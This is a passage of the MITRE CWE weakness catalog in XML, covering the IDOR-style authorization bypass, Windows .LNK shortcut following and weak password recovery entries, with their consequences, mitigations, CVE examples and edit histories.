               <Entry_Name>Race Condition Window</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="104"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-196"/>
            <Reference External_Reference_ID="REF-526"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Pascal Meunier</Submission_Name>
               <Submission_Organization>Purdue University</Submission_Organization>
               <Submission_Date>2008-01-18</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Observed_Example, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Not Using Complete Mediation</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Use Complete Mediation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="639" Name="Authorization Bypass Through User-Controlled Key" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.</Description>
         <Extended_Description>
            <xhtml:p>Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.</xhtml:p>
            <xhtml:p>For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.</xhtml:p>
            <xhtml:p>One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="863" View_ID="1003" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Insecure Direct Object Reference / IDOR</Term>
               <Description>The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Broken Object Level Authorization / BOLA</Term>
               <Description>BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Horizontal Authorization</Term>
               <Description>"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Access control checks for specific user data or functionality can be bypassed.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Horizontal escalation of privilege is possible (one user can view/modify information of another user).</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Access Control Bypass Through User-Controlled Key</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="64" Name="Windows Shortcut Following (.LNK)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.</Description>
         <Extended_Description>The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="59" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Windows symbolic link following</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>symlink</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-48.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Follow the principle of least privilege when assigning access rights to entities in a software system.</xhtml:p>
                  <xhtml:p>Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2019-19793</Reference>
	     <Description>network access control service executes program with high privileges and allows symlink to invoke another executable or perform DLL injection.</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2019-19793</Link>
	   </Observed_Example>
           <Observed_Example>
               <Reference>CVE-2000-0342</Reference>
               <Description>Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1042</Reference>
               <Description>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1043</Reference>
               <Description>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1043</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0587</Reference>
               <Description>Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0587</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1386</Reference>
               <Description>".LNK." - .LNK with trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1386</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1233</Reference>
               <Description>Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1233</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Windows Shortcut Following (.LNK)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO05-C</Entry_ID>
               <Entry_Name>Identify files using multiple file attributes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP18</Entry_ID>
               <Entry_Name>Link in resource name resolution</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="640" Name="Weak Password Recovery Mechanism for Forgotten Password" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.</Description>
         <Extended_Description>
            <xhtml:p>It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.</xhtml:p>
            <xhtml:p>This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>The system's security functionality is turned against the system by the attacker.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use standard weak security questions and use several security questions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Assign a new temporary password rather than revealing the original password.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>49</Entry_ID>
               <Entry_Name>Insufficient Password Recovery</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="50"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).</Note>
            <Note Type="Maintenance">This entry probably needs to be split; see extended description.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Maintenance_Notes, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
